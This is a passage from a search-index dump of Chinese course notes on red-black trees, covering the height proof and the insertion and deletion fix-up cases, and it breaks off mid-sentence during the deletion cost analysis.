<p>\u5177\u4f53\u8bc1\u660e\u7b2c\u4e00\u6b65\uff0c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5,\u5bf9\u6811\u7684\u9ad8\u5ea6\\(h(x)\\)\u8fdb\u884c\u5f52\u7eb3</p> <p>Proof</p> \\[ For \\enspace any \\enspace node \\enspace x, sizeof(x) \\geqslant 2^{bh(x)} \u2013 1.\\\\ Prove \\enspace by \\enspace induction.\\\\ If \\enspace h(x) = 0, x \\enspace is \\enspace NULL\\\\ sizeof(x) = 2^0 \u2013 1 = 0\\\\ Suppose \\enspace it \\enspace is \\enspace true \\enspace for \\enspace all \\enspace x \\enspace with \\enspace h(x) \\leqslant k.\\\\ For \\enspace x \\enspace  with \\enspace h(x) = k + 1, \\\\ bh(child) = bh(x) \\enspace or \\enspace bh(x) \u2013 1 \\\\ Since \\enspace h(child) &lt; k,\\\\  sizeof(child) \\geqslant 2^{bh(child)} \u2013 1 \\geqslant 2^{bh(x)-1}\u2013 1 \\\\  Hence \\enspace sizeof(x) = 1 + 2sizeof(child) \\geqslant 2^{bh(x)} \u2013 1 \\] <p>\u8fd9\u6837\u5c31\u5f97\u5230\u4e86\u9ed1\u9ad8\u7684bound\uff0c\u518d\u7528\u7b2c\u4e8c\u6b65\u5c31\u5f97\u5230\u4e86\u6574\u4e2a\u6811\u9ad8\u7684\u4e0a\u754c\u4e86</p> Question <p>\u8bc1\u660e\uff1a\u5728\u4e00\u68f5\u7ea2\u9ed1\u6811\u4e2d\uff0c\u4ece\u67d0\u7ed3\u70b9 X \u5230\u5176\u540e\u4ee3\u53f6\u7ed3\u70b9\u7684\u6240\u6709\u7b80\u5355\u8def\u5f84\u4e2d\uff0c\u6700\u957f\u7684\u4e00\u6761\u8def\u5f84\u7684\u957f\u5ea6\u81f3\u591a\u662f\u6700\u77ed\u4e00\u6761\u7684 2 \u500d</p> <p>\u6700\u77ed\u8def\u662f\u5168\u9ed1\u8def\uff0c\u6700\u957f\u8def\u662f\u9ed1\u7ea2\u76f8\u95f4\u7684\uff0c\u800c\u6240\u6709\u7b80\u5355\u8def\u5f84\u9ed1\u8272\u7ed3\u70b9\u4e2a\u6570\u4e00\u6837\uff0c\u6545\u800c\u53ef\u4ee5\u8bc1\u660e</p> <p>\u5bf9\u4e8e\u641c\u7d22\u64cd\u4f5c\uff0c\u7ea2\u9ed1\u6811\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(\\log n)\\) \u7684,\u5bf9\u4e8e\u63d2\u5165\u548c\u5220\u9664\uff0c\u5176\u60c5\u51b5\u5c31\u4f1a\u66f4\u52a0\u590d\u6742\u4e00\u4e9b</p>"},{"location":"NOTE/ADS/wk2/#_1","title":"\u7ea2\u9ed1\u6811\u7684\u63d2\u5165","text":"<p>\u5411\u7ea2\u9ed1\u6811\u4e2d\u63d2\u5165\u7ed3\u70b9\u65f6,\u6709\u53ef\u80fd\u4f1a\u7834\u574f\u6811\u7684\u5e73\u8861\u6027\u8d28,\u63d2\u5165\u65f6\u9700\u8981\u5c06\u8be5\u7ed3\u70b9\u521d\u59cb\u989c\u8272\u8bbe\u7f6e\u4e3a\u7ea2\u8272\uff0c\u56e0\u4e3a\u5982\u679c\u662f\u9ed1\u8272\uff0c\u90a3\u4e48\u5176\u6027\u8d285\u4e00\u5b9a\u4f1a\u88ab\u7834\u574f\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u8ba8\u8bba\u6bcf\u4e00\u79cd\u53ef\u80fd\u7684\u60c5\u51b5</p>"},{"location":"NOTE/ADS/wk2/#_2","title":"\u63d2\u5165\u5728\u9ed1\u7ed3\u70b9\u4e0b\u9762","text":"<p>\u6700\u7b80\u5355\u7684\u60c5\u51b5\uff0c\u6ca1\u6709\u7834\u574f\u4efb\u4f55\u6027\u8d28\uff0c\u4e0d\u9700\u8981\u505a\u4efb\u4f55\u8c03\u6574</p>"},{"location":"NOTE/ADS/wk2/#_3","title":"\u63d2\u5165\u7a7a\u6811\u4e2d","text":"<p>\u7834\u574f\u4e86\u6027\u8d282\uff0c\u4f46\u662f\u5904\u7406\u65b9\u6cd5\u4e5f\u5f88\u7b80\u5355\uff0c\u76f4\u63a5\u5c06\u5176\u67d3\u8272\u6210\u9ed1\u8272\u5373\u53ef</p>"},{"location":"NOTE/ADS/wk2/#_4","title":"\u63d2\u5165\u5230\u7ea2\u8272\u7ed3\u70b9\u7684\u5b50\u8282\u70b9\u4e2d","text":"<p>\u6b64\u65f6\u552f\u4e00\u88ab\u8fdd\u53cd\u7684\u5c31\u662f\u5b9a\u4e49\u7b2c\u56db\u6761\uff0c\u4e3a\u4e86\u6062\u590d\uff0c\u6211\u4eec\u7684\u60f3\u6cd5\u662f\uff0c\u5728\u4e0d\u5f71\u54cd\u6027\u8d285(\u4ee5\u53ca\u5176\u5b83\u6027\u8d28)\u7684\u524d\u63d0\u4e0b\uff0c\u901a\u8fc7\u4e00\u7cfb\u5217\u7684\u67d3\u8272\u548c\u65cb\u8f6c\u4f7f\u5f97\u6ca1\u6709\u7236\u5b50\u90fd\u662f\u7ea2\u8272,\u4e3b\u8981\u5206\u4e3a\u4ee5\u4e0b3\u79cd\u60c5\u51b5</p>"},{"location":"NOTE/ADS/wk2/#x","title":"X \u6709\u7ea2\u53d4\u53d4","text":"<p>X \u7684\u53d4\u53d4\uff08\u5373\u7236\u4eb2\u7684\u5144\u5f1f\uff09\u662f\u7ea2\u8272\u7684\uff0cX \u65e0\u8bba\u5de6\u53f3\u5b69\u5b50\u90fd\u662f\u8be5\u60c5\u51b5</p> <p>wyy\u6709\u8bdd\u8bf4</p> <p>\u8fd9\u91cc\u6240\u6709\u7ed3\u70b9\u90fd\u5e26\u5b50\u6811\uff0c\u4e00\u65b9\u9762\u81f3\u5c11\u6709 NIL \u7ed3\u70b9\uff0c\u53e6\u4e00\u65b9\u9762\u8fd9\u53ef\u4ee5\u4e0d\u4ec5\u4ec5\u8868\u793a\u521a\u521a\u63d2\u5165\u7684\u60c5\u51b5\uff0c\u4e5f\u53ef\u4ee5\u8868\u793a\u7ecf\u8fc7\u51e0\u6b21\u8c03\u6574\u540e\u8fd8\u5728\u88ab\u8fd9\u79cd\u60c5\u51b5\u56f0\u6270\uff0c\u56e0\u6b64\u66f4\u5177\u4e00\u822c\u6027\u3002\u6ce8\u610f G \u4e00\u5b9a\u662f\u9ed1\u8272\uff0c\u56e0\u4e3a P \u662f\u7ea2\u8272\uff0c\u63d2\u5165\u524d\u5b83\u4eec\u5c31\u5728\u7ea2\u9ed1\u6811\u4e2d\uff0c\u56e0\u6b64\u4e0d\u53ef\u80fd\u8fdd\u80cc\u5b9a\u4e49\u7b2c\u56db\u6761</p> <p>\u6211\u4eec\u7684\u60f3\u6cd5\u662f\u5c06X\u7684\u7ea2\u8272\u7529\u6389\uff0c\u6b64\u65f6\u5b83\u7684\u7236\u4eb2\u548c\u53d4\u53d4\u90fd\u662f\u7ea2\u8272\u4e86\uff0c\u81ea\u7136\u53ea\u80fd\u6c42\u52a9\u4e8e\u7956\u7236\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5\u4ea4\u6362\u5b83\u4eec\u7684\u989c\u8272(\u5982\u679c\u7956\u7236\u662f\u7ea2\u8272\u800c\u53d4\u53d4\u7236\u4eb2\u662f\u7ea2\u8272\uff0c\u4e5f\u4e0d\u6ee1\u8db3\u6761\u4ef6)\uff0c\u6240\u4ee5\u6211\u4eec\u7684\u65b9\u6848\u5c06X\u7684\u7956\u7236\u67d3\u7ea2\uff0c\u5c06X\u7684\u7236\u4eb2\u548c\u53d4\u53d4\u67d3\u6210\u9ed1\u8272,(\u53ef\u4ee5\u7406\u89e3\u4e3a\u5c06\u7956\u7236\u7684\u9ed1\u8272\u5206\u914d\u7ed9\u7236\u4eb2\u548c\u53d4\u53d4)\u6b64\u65f6\u4e0d\u5f71\u54cd\u9ed1\u9ad8\u7684\u6027\u8d28\uff0c\u4f46\u662f\u5e76\u4e0d\u4ee3\u8868\u95ee\u9898\u5df2\u7ecf\u89e3\u51b3\u4e86\uff0c\u56e0\u4e3a\u66fe\u7956\u7236\u4ecd\u7136\u53ef\u80fd\u662f\u7ea2\u8272\uff0c\u4f46\u662f\u81f3\u5c11\u95ee\u9898\u7f51\u4e0a\u63a8\u8fdb\u4e86\u3002\u5982\u679c\u4e00\u76f4\u63a8\u7ed9\u6839\u8282\u70b9\uff0c\u6839\u8282\u70b9\u67d3\u9ed1\u5373\u53ef\uff0c\u5426\u5219\u5c31\u662f\u63a5\u4e0b\u6765\u7684\u4e24\u79cd\u60c5\u51b5 </p>"},{"location":"NOTE/ADS/wk2/#x_1","title":"X\u7684\u53d4\u53d4\u662f\u9ed1\u8272\u7684","text":"<ul> <li>\u60c5\u51b52\uff1aX \u7684\u53d4\u53d4\uff08\u5373\u7236\u4eb2\u7684\u5144\u5f1f\uff09\u662f\u9ed1\u8272\u7684\uff0c\u4e14 X \u662f\u53f3\u5b69\u5b50</li> <li>\u60c5\u51b53\uff1aX \u7684\u53d4\u53d4\uff08\u5373\u7236\u4eb2\u7684\u5144\u5f1f\uff09\u662f\u9ed1\u8272\u7684\uff0c\u4e14 X \u662f\u5de6\u5b69\u5b50</li> </ul> <p>\u60c5\u51b52\u548c\u60c5\u51b53\u4e4b\u95f4\u662f\u5b58\u5728\u4e92\u76f8\u8f6c\u6362\u7684(\u7531\u56fe\u53ef\u77e5)\uff0c\u89e3\u51b3\u65b9\u6848\u4e0eAVL tree\u4e5f\u662f\u4e00\u81f4\u7684\uff0c\u901a\u8fc7\u5224\u65ad\u7ea2\u8272\u662fLR\u8fd8\u662fLL\u6765\u8fdb\u884c\u65cb\u8f6c\uff0c\u65cb\u8f6c\u5b8c\u4e4b\u540e\uff0c\u91cd\u65b0\u67d3\u8272\uff0c\u7b2c\u4e00\u5c42\u662f\u9ed1\uff0c\u7b2c\u4e8c\u5c42\u662f\u7ea2\u5373\u53ef</p> <p>Note</p> <p>\u5728\u4ee5\u4e0a\u7684\u5206\u6790\u4e2d\uff0c\u6211\u4eec\u53ea\u8003\u8651\u4e86X\u63d2\u5165\u5728\u5de6\u5b50\u6811\u7684\u60c5\u51b5\uff0c\u5bf9\u4e8e\u53f3\u5b50\u6811\u7684\u60c5\u51b5\uff0c\u5b9e\u9645\u4e0a\u662f\u5b8c\u5168\u5bf9\u79f0\u7684\uff0c\u5bf9\u4e8e\u60c5\u51b5\u4e00\uff0c\u4ecd\u7136\u6c42\u52a9\u4e8e\u7956\u7236\uff0c\u5bf9\u4e8e\u60c5\u51b5\u4e8c\u548c\u60c5\u51b5\u4e09\uff0c\u5219\u8003\u8651RL\u548cRR\u7684\u60c5\u51b5,\u6700\u540e\u7684\u67d3\u8272\u4e5f\u662f\u4e00\u6837\u7684</p> <p>\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49</p> <p> \u5982\u679c\u63d2\u5165\u540e\u76f4\u63a5\u843d\u5165\u60c5\u51b5\u4e09\uff0c\u53ea\u9700\u8981\u4e00\u6b21\u65cb\u8f6c\u67d3\u8272\u5373\u53ef\u89e3\u51b3\uff0c\u76f4\u63a5\u843d\u5165\u60c5\u51b5\u4e8c\uff0c\u4e00\u6b21\u65cb\u8f6c\u8fdb\u5165\u60c5\u51b5\u4e09\uff0c\u518d\u4e00\u6b21\u65cb\u8f6c\u67d3\u8272\u5373\u53ef\u89e3\u51b3\uff0c\u4f46\u5982\u679c\u843d\u5165\u60c5\u51b5\u4e00\uff0c\u4e00\u6b21\u8c03\u6574\u540e\u53ef\u80fd\u8fd8\u5728\u60c5\u51b5\u4e00\uff0c\u53ef\u80fd\u76f4\u5230\u6700\u540e\u90fd\u662f\u901a\u8fc7\u60c5\u51b5\u4e00\u52a0\u4e0a\u67d3\u9ed1\u6839\u7ed3\u70b9\u89e3\u51b3\uff0c\u4e5f\u53ef\u80fd\u51e0\u6b21\u8c03\u6574\u540e\u8fdb\u5165\u60c5\u51b5\u4e8c\u6216\u4e09\u540e\u89e3\u51b3\u3002\u6839\u636e\u8fd9\u4e00\u6d41\u7a0b\u6211\u4eec\u77e5\u9053\uff0c\u7ea2\u9ed1\u6811\u63d2\u5165\u6700\u591a\u53ef\u80fd\u7684\u65cb\u8f6c\u6b21\u6570\u4e3a 2\uff08\u56e0\u4e3a\u53ea\u6709\u60c5\u51b5 2 \u548c 3 \u4f1a\u8981\u65cb\u8f6c\u8fdb\u5165\u60c5\u51b5 2 \u540e 1 \u6b21\u65cb\u8f6c\u5fc5\u5b9a\u8fdb\u5165\u60c5\u51b5 3\uff0c\u8fdb\u5165\u60c5\u51b5 3 \u540e 1 \u6b21\u65cb\u8f6c\u5fc5\u5b9a\u89e3\u51b3\uff09\uff0c\u7136\u540e \u66f4\u6539\u989c\u8272\u6700\u591a\u662f \\(O(\\log n)\\) \u6b21\uff0c\u56e0\u4e3a\u8fdb\u5165\u60c5\u51b5 2 \u6216 3 \u53ea\u9700\u8981\u4e00\u6b21\u67d3\u8272\uff0c\u5728\u60c5\u51b5 1 \u6700\u5dee\u4e5f\u662f\u6bcf\u4e24\u5c42\u67d3\u4e00\u6b21\u8272\uff0c\u800c\u6211\u4eec\u5df2\u7ecf\u8bc1\u660e\u7ea2\u9ed1\u6811\u7684\u6700\u5927\u9ad8\u5ea6\u662f\\(O(\\log n)\\)\u7684\u3002 \u56e0\u6b64\u63d2\u5165\u64cd\u4f5c\u5305\u62ec\\(O(\\log n)\\)\u7684\u641c\u7d22\u65f6\u95f4\uff0c\u52a0\u5e38\u6570\u7684\u65cb\u8f6c\uff0c\u52a0\\(O(\\log n)\\)\u7684\u67d3\u8272\uff0c\u56e0\u6b64\u8fd8\u662f\\(O(\\log n)\\)\u7684\u65f6 \u95f4\u590d\u6742\u5ea6</p> <p>\u4e00\u68f5\u6709 n \u4e2a\u5185\u90e8\u7ed3\u70b9\u7684\u7ea2\u9ed1\u6811\u63d2\u5165\u4e00\u4e2a\u7ed3\u70b9\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a \\(O(\\log n)\\)\u3002</p> Question <p>\u8003\u8651\u4ece\u7a7a\u6811\u5f00\u59cb\u8fde\u7eed\u63d2\u5165 \\(n(n &gt; 1)\\) \u4e2a\u7ed3\u70b9\u5f97\u5230\u4e00\u68f5\u7ea2\u9ed1\u6811\uff08\u6bcf\u4e00\u6b65\u63d2\u5165\u90fd\u8981\u4fdd\u8bc1\u7ea2\u9ed1\u6811\u6027\u8d28\uff09\uff0c\u8bd5\u95ee\u8fd9\u68f5\u6811\u4e00\u5b9a\u4f1a\u6709\u7ea2\u8272\u7ed3\u70b9\u5417\uff1f\u82e5\u662f\uff0c\u8bf7\u7ed9\u51fa\u6e05\u6670\u7684\u8bc1\u660e\uff1b\u82e5\u4e0d\u662f\uff0c\u8bf7\u4e3e\u51fa\u53cd\u4f8b\u3002</p> <p>\u4e00\u5b9a\u4f1a\uff0c\u53ef\u4ee5\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u8bc1\u660e\uff1an = 2 \u65f6\u663e\u7136\u6b63\u786e\uff0c\u6839\u4e0b\u9762\u63d2\u5165\u7684\u7ed3\u70b9\u4e00\u5b9a\u662f\u7ea2\u8272\u4e14\u65e0\u9700\u8c03\u6574\uff1b\u6b64\u540e\u5982\u679c\u4e0d\u9700\u8981\u8c03\u6574\uff0c\u56e0\u4e3a\u6211\u4eec\u63d2\u5165\u7684\u662f\u7ea2\u8272\u7ed3\u70b9\uff0c\u56e0\u6b64\u7ea2\u8272\u7ed3\u70b9\u53ea\u53ef\u80fd\u53d8\u591a\uff1b\u5982\u679c\u9700\u8981\u8c03\u6574\uff0c\u5219\u6839\u636e\u4e09\u79cd\u60c5\u51b5\u7684\u8ba8\u8bba\uff0c\u6211\u4eec\u53d1\u73b0\u65e0\u8bba\u54ea\u4e00\u79cd\u60c5\u51b5\uff0c\u5728\u8c03\u6574\u4e4b\u540e\u4e00\u5b9a\u8fd8\u4fdd\u7559\u7740\u7ea2\u8272\u7ed3\u70b9\u3002\u6709\u540c\u5b66\u53ef\u80fd\u4f1a\u8d28\u7591\uff0c\u60c5\u51b5 1 \u5982\u679c G \u5230\u4e86\u6839\u7ed3\u70b9\uff0c\u5219\u9700\u8981\u88ab\u67d3\u9ed1\uff0c\u4f46\u8981\u6ce8\u610f\u7684\u662f\uff0c\u6b64\u65f6\u7684 X \u8fd8\u662f\u7ea2\u8272\u7684\uff0c\u56e0\u6b64\u4e0d\u7ba1\u4ec0\u4e48\u60c5\u51b5\u90fd\u662f\u4f1a\u4fdd\u7559\u7ea2\u8272\u7ed3\u70b9</p>"},{"location":"NOTE/ADS/wk2/#_5","title":"\u7ea2\u9ed1\u6811\u7684\u5220\u9664","text":"<p>\u6211\u4eec\u9996\u5148\u56de\u5fc6\u666e\u901a\u4e8c\u53c9\u6811\u7684\u5220\u9664\u64cd\u4f5c\uff0c\u4e3b\u8981\u6709\u4ee5\u4e0b\u4e09\u79cd\u60c5\u51b5</p> <ul> <li>\u5982\u679cX\u662f\u53f6\u5b50\u7ed3\u70b9\uff0c\u76f4\u63a5\u5220\u9664\u5373\u53ef</li> <li>\u5982\u679cX\u53ea\u6709\u4e00\u4e2a\u5b69\u5b50\uff0c\u76f4\u63a5\u7528\u5b69\u5b50\u66ff\u6362X\u5373\u53ef</li> <li>\u5982\u679cX\u6709\u4e24\u4e2a\u5b69\u5b50\uff0c\u627e\u5230X\u7684\u540e\u7ee7Y\uff0c\u5c06Y\u7684\u503c\u8d4b\u7ed9X\uff0c\u7136\u540e\u5220\u9664Y\uff0c\u8fd9\u4e2aY\u4e00\u822c\u800c\u8a00\u662f\u5de6\u5b50\u6811\u7684\u6700\u5927\u7ed3\u70b9\uff0c\u6216\u8005\u662f\u53f3\u5b50\u6811\u7684\u6700\u5c0f\u7ed3\u70b9</li> </ul> <p>\u7b2c\u4e09\u79cd\u60c5\u51b5\u53ef\u4ee5\u901a\u8fc7\u4e00\u6b65\u4ea4\u6362\u53d8\u6210\u7b2c\u4e00\u7b2c\u4e8c\u79cd\u60c5\u51b5\u4e2d\u7684\u4e00\u79cd\uff0c\u56e0\u4e3a\u5de6\u5b50\u6811\u7684\u6700\u5927\u8282\u70b9\u4e0d\u53ef\u80fd\u6709\u53f3\u7ed3\u70b9\uff0c\u53f3\u5b50\u6811\u7684\u6700\u5c0f\u7ed3\u70b9\u4e0d\u53ef\u80fd\u6709\u5de6\u7ed3\u70b9</p>"},{"location":"NOTE/ADS/wk2/#_6","title":"\u53f6\u5b50\u7ed3\u70b9\u7684\u5220\u9664","text":"<p>\u5bf9\u4e8e\u7b2c\u4e00\u79cd\u60c5\u51b5,\u5982\u679cX\u6ca1\u6709\u5b50\u8282\u70b9,\u4ea6\u5373X\u662f\u53f6\u5b50\u7ed3\u70b9,\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u5220\u9664X,\u5e76\u8ba9NiL\u7ed3\u70b9\u63a5\u66ff\u8fd9\u4e2a\u4f4d\u7f6e,\u76f8\u5f53\u4e8e\u4ec0\u4e48\u90fd\u6ca1\u6709\u5e72</p>"},{"location":"NOTE/ADS/wk2/#_7","title":"\u5185\u90e8\u53f6\u5b50\u7ed3\u70b9","text":"<p>\u6240\u4ee5\u5bf9\u4e8e\u7ea2\u9ed1\u6811\u7684\u5220\u9664,\u7f29\u51cf\u5230\u4e86\u4e24\u79cd\u5927\u60c5\u51b5</p> <ul> <li>Case 1:X\u662f\u6709\u4e24\u4e2aNiL\u7ed3\u70b9\u7684\u5185\u90e8\u7ed3\u70b9</li> <li>Case 2:X\u53ea\u6709\u4e00\u4e2aNiL\u7ed3\u70b9\u7684\u5185\u90e8\u7ed3\u70b9<ul> <li>Case 2-1:child\u662f\u7ea2\u8272</li> <li>Case 2-2:child\u662f\u9ed1\u8272</li> </ul> </li> </ul> <p>\u5982\u679cX\u53ea\u6709\u4e00\u4e2a\u5e26\u6709\u952e\u503c\u7684\u5b50\u8282\u70b9,\u6b64\u65f6\u5982\u679cX\u662f\u7ea2\u8272,\u90a3\u4e48\u4e07\u4e8b\u5927\u5409,\u76f4\u63a5\u5220\u9664,\u8ba9\u5b83\u7684\u5b50\u8282\u70b9\u63a5\u66ff\u5b83\u7684\u4f4d\u7f6e,\u5982\u679cX\u662f\u9ed1\u8272,\u63a5\u66ff\u4e0a\u6765\u7684\u7ed3\u70b9\u662f\u7ea2\u8272,\u76f4\u63a5\u67d3\u9ed1\u5373\u53ef,\u5982\u679c\u63a5\u66ff\u7684\u662fNiL\u7ed3\u70b9(Case 1),\u6216\u8005\u63a5\u66ff\u4e0a\u6765\u7684\u662f\u9ed1\u8272\u7ed3\u70b9(Case 2-2),\u6211\u4eec\u8be5\u600e\u4e48\u529e</p> <p>\u89e3\u51b3\u65b9\u6cd5\u5341\u5206\u806a\u660e,\u76f4\u63a5\u7ed9\u9ed1\u8272\u7ed3\u70b9(\u5305\u62ecNiL\u7ed3\u70b9)\u518d\u52a0\u4e0a\u4e00\u91cd\u9ed1\u8272,\u53d8\u6210 \u53cc\u9ed1\u7ed3\u70b9 .\u6b64\u65f6\u7b2c\u4e94\u6761\u6027\u8d28\u6ca1\u6709\u88ab\u7834\u574f,\u4f46\u662f\u6211\u4eec\u51ed\u7a7a\u591a\u4e86\u4e00\u79cd\u989c\u8272,\u8fd9\u81ea\u7136\u662f\u4e0d\u884c\u7684,\u6240\u4ee5\u6211\u4eec\u7684\u60f3\u6cd5\u662f,\u5c06\u8fd9\u4e00\u91cd\u9ed1\u8272\u4f20\u9012\u7ed9\u4e0a\u5c42\u7684\u4e00\u4e2a\u7ea2\u8272\u7ed3\u70b9,\u6216\u8005\u6ca1\u627e\u5230,\u76f4\u63a5\u5f80\u4e0a\u63a8\u5230\u6839\u8282\u70b9,\u8ba9\u6839\u7ed3\u70b9\u53d8\u6210\u53cc\u9ed1,\u800c\u6839\u8282\u70b9\u4ece\u53cc\u9ed1\u53d8\u6210\u9ed1\u8272\u662f\u5b8c\u5168\u6ca1\u6709\u5f71\u54cd\u7684,\u8fd9\u6837\u5c31\u89e3\u51b3\u4e86\u95ee\u9898</p> <p>\u6211\u4eec\u53ef\u4ee5\u628a\u53cc\u9ed1\u4f20\u9012\u7684\u60c5\u51b5\u5206\u4e3a\u4ee5\u4e0b\u56db\u7c7b,\u7528\u5b50\u6811\u4ee3\u8868\u66f4\u4e00\u822c\u7684\u60c5\u51b5(\u53ef\u80fd\u53d1\u751f\u5728\u4f20\u9012\u7684\u8fc7\u7a0b\u4e2d,X\u4ee3\u8868\u53cc\u9ed1\u7ed3\u70b9)</p> <p>\u7ea2\u8272\u5462,\u6551\u4e00\u4e0b\u554a</p> <ul> <li>\u60c5\u51b51: X\u6709\u7ea2\u8272\u7684\u5144\u5f1f</li> </ul> <p>\u6b64\u65f6\u7236\u7ed3\u70b9\u4e00\u5b9a\u662f\u9ed1\u8272,\u6211\u4eec\u7684\u60f3\u6cd5\u5f88\u7b80\u5355\uff0c\u5144\u5f1f\u662f\u7ea2\u8272\uff0c\u90a3\u5c31\u5e0c\u671b\u5144\u5f1f\u80fd\u4e24\u808b\u63d2\u5200\uff0c\u628a\u5144\u5f1f\u8f6c\u4e0a\u53bb\uff0c\u4e3a\u4e86\u4fdd\u6301\u7ea2\u9ed1\u6811\u6027\u8d28\uff0c\u5f88\u53ef\u60dc\u53ea\u80fd\u628a\u7236\u4eb2\u67d3\u7ea2\uff0c\u81ea\u5df1\u8fd8\u627f\u53d7\u53cc\u9ed1 debuff\u3002\u4f46\u662f\u597d\u5904\u5728\u4e8e\uff0c\u8fd9\u4e2a\u95ee\u9898\u8f6c\u5316\u4e3a\u4e86\u63a5\u4e0b\u6765\u7684\u60c5\u51b5234\u4e2d\u7684\u4e00\u79cd,\u6b64\u65f6X\u7684\u5144\u5f1f\u4e00\u5b9a\u662f\u9ed1\u8272,\u56e0\u4e3a\u8fd9\u4e2a\u5144\u5f1f\u4e4b\u524d\u662fX\u7ea2\u8272\u5144\u5f1f\u7684\u5b69\u5b50:</p> <ul> <li>\u60c5\u51b52:X \u7684\u5144\u5f1f\u662f\u9ed1\u8272\u7684\uff0c\u4e14\u5144\u5f1f\u7684\u4e24\u4e2a\u5b69\u5b50\u90fd\u662f\u9ed1\u8272\u7684</li> </ul> <p>Note</p> <p>\u6839\u636e\u8ddd\u79bb\u5212\u5206\u4e3a\u8fd1\u3001\u8fdc\u4f84\u5b50\uff0c\u7528\u8fdc\u8fd1\u800c\u4e0d\u7528\u5de6\u53f3\u662f\u4e3a\u4e86\u5bf9\u79f0\u60c5\u51b5\u4e0d\u6df7\u6dc6\u5de6\u53f3</p> <p>\u6b64\u65f6\u6ca1\u6709\u7ea2\u8272\u80fd\u6551\u4e00\u4e0b\u4e86,\u6211\u4eec\u5c31\u628a\u5e0c\u671b\u5bc4\u6258\u4e8e\u7236\u8282\u70b9,\u56e0\u4e3a\u6839\u8282\u70b9\u4e00\u5b9a\u80fd\u6551,\u6240\u4ee5\u6b64\u65f6\u7684\u505a\u6cd5\u5c31\u662f\u5c06\u8fd9\u4e00\u5c42\u7684\u9ed1\u8272\u5f80\u4e0a\u63a8,\u5c06X\u7684\u4e00\u5c42\u9ed1\u8272\u53bb\u6389,\u5c06\u5144\u5f1f\u67d3\u7ea2,\u7236\u4eb2\u7ed9\u4e00\u5c42\u9ed1\u8272,\u5982\u679c\u7236\u4eb2\u662f\u7ea2\u8272,\u90a3\u4e48\u76f4\u63a5\u67d3\u9ed1\u5373\u53ef,\u5982\u679c\u7236\u4eb2\u662f\u9ed1\u8272,\u90a3\u4e48\u5c31\u53c8\u591a\u4e86\u4e00\u5c42\u9ed1\u8272</p> <p>Key-point</p> <p>\u5982\u679c\u60c5\u51b52\u662f\u60c5\u51b51\u6f14\u53d8\u800c\u6765\u7684,\u90a3\u4e48X\u7684\u7236\u8282\u70b9\u4e00\u5b9a\u662f\u7ea2\u8272,\u6b64\u65f6\u95ee\u9898\u53ef\u4ee5\u76f4\u63a5\u89e3\u51b3</p> <ul> <li>\u60c5\u51b53:X \u7684\u5144\u5f1f\u662f\u9ed1\u8272\u7684\uff0c\u4e14\u8fd1\u4f84\u5b50\u662f\u7ea2\u8272,\u8fdc\u4f84\u5b50\u662f\u9ed1\u8272</li> </ul> <p>\u8fd9\u65f6\u6211\u4eec\u501f\u7528 AVL \u6811\u7684\u60f3\u6cd5\uff0c\u7ea2\u8272\u5728\u7236\u4eb2 P \u7684 RL \u4f4d\u7f6e\uff0c\u56e0\u6b64\u505a single rotation \u540e\u4f1a\u53d8\u6210\u60c5\u51b5 4 \u7684 RR \u7684\u60c5\u51b5</p> <p>Note</p> <p>\u4e5f\u5c31\u610f\u5473\u7740\u7ea2\u8272\u8981\u7ed9\u5230 RR \u7684\u4f4d\u7f6e\uff0c\u8fd9\u91cc\u6709\u4e00\u4e2a\u989c\u8272\u7684\u53d8\u5316\uff0c\u7528 RR \u8bb0 \u5fc6\u5f88\u65b9\u4fbf</p> <ul> <li>\u60c5\u51b54:X \u7684\u5144\u5f1f\u662f\u9ed1\u8272\u7684\uff0c\u4e14\u8fdc\u4f84\u5b50\u662f\u7ea2\u8272,\u8fd1\u4f84\u5b50\u662f\u4efb\u610f\u989c\u8272</li> </ul> <p>\u6b64\u65f6\u5bf9\u5e94 AVL \u6811\u7684 RR\uff0c\u4e8e\u662f\u518d\u4e00\u6b21 single rotation \u5373\u53ef\u628a\u53cc\u9ed1\u7684\u4e00\u91cd\u9ed1\u4e22\u7ed9\u7ea2\u8272\u8fdc\u4f84\u5b50\uff08\u5373 X \u548c N2 \u90fd\u53d8\u6210\u9ed1\u8272\uff09\uff0c\u4f46\u8981\u6ce8\u610f\u4e3a\u4e86\u4fdd\u8bc1\u7ea2\u9ed1\u6811\u6027\u8d28\u7684\u989c\u8272\u53d8\u5316\uff0c\u5982\u679c P \u4e00\u5f00\u59cb\u662f\u9ed1\u8272,\u90a3\u4e48\u65cb\u8f6c\u524d\u540e\u5230N2\u7684\u8def\u5f84\u4e0a\u9ed1\u8272\u7ed3\u70b9\u6570\u76ee\u4e0d\u53d8\uff0c\u90fd\u662f2,\u5982\u679cP\u662f\u7ea2\u8272,\u90a3\u4e48\u65cb\u8f6c\u524d\u540e\u5230N2\u7684\u8def\u5f84\u4e0a\u9ed1\u8272\u7ed3\u70b9\u6570\u76ee\u589e\u591a\uff0c\u6b64\u65f6\u9700\u8981\u5c06S\u67d3\u7ea2\uff0cP\u67d3\u9ed1,\u603b\u7684\u6765\u8bf4,\u53ef\u4ee5\u4ea4\u6362P\u548cS\u7684\u989c\u8272</p> <p>\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49</p> <p>\u9996\u5148\u6211\u4eec\u6700\u591a\u7528 \\(O(\\log n)\\) \u7684\u65f6\u95f4\u627e\u5230\u5220\u9664\u7ed3\u70b9\uff0c \u6700\u591a 1 \u6b21\u4ea4\u6362\u548c 1 \u4e2a\u5220\u9664\u7684\u64cd\u4f5c\u3002\u63a5\u4e0b\u6765\u5982\u679c\u5220\u9664\u540e\u6ca1\u6709\u95ee\u9898\u5219\u5230\u6b64\u7ed3\u675f\uff1b\u5426\u5219\u6839\u636e\u5206\u6790\uff0c\u60c5\u51b5 1\u30013\u548c 4 \u5728\u95ee\u9898\u89e3\u51b3\u524d\u6700\u591a\u8fdb\u53bb\u4e00\u6b21\uff0c\u56e0\u4e3a 4 \u53ef\u4ee5\u76f4\u63a5\u89e3\u51b3\uff0c3 \u76f4\u63a5\u8fdb\u5165 4 